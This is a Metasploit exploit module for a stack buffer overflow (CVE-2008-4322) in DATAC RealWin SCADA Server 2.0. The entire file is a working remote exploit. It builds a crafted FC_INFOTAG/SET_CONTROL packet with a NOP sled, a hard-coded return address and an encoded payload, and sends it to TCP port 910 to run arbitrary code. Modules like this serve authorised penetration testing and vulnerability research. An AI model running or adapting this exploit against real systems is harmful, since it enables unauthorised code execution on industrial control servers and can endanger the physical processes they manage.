##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DATAC RealWin SCADA Server Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in DATAC Control
        International RealWin SCADA Server 2.0 (Build 6.0.10.37).
        By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
        an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-4322' ],
          [ 'OSVDB', '48606' ],
          [ 'BID', '31418' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 550,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2008-09-26'))

    register_options([Opt::RPORT(910)])
  end

  def exploit
    connect

    data =  [0x67542310].pack('V')
    data << [0x00000800].pack('V')
    data << [0x000a77e3].pack('V')
    data << [0x00040005].pack('V')
    data << "\x00\x00"
    data << make_nops(target['Offset'])
    data << [target.ret].pack('V')
    data << [0x00404040].pack('V')
    data << payload.encoded
    data << make_nops(1024)

    print_status("Trying target #{target.name}...")
    sock.get_once
    sock.put(data)

    handler
    disconnect
  end
end
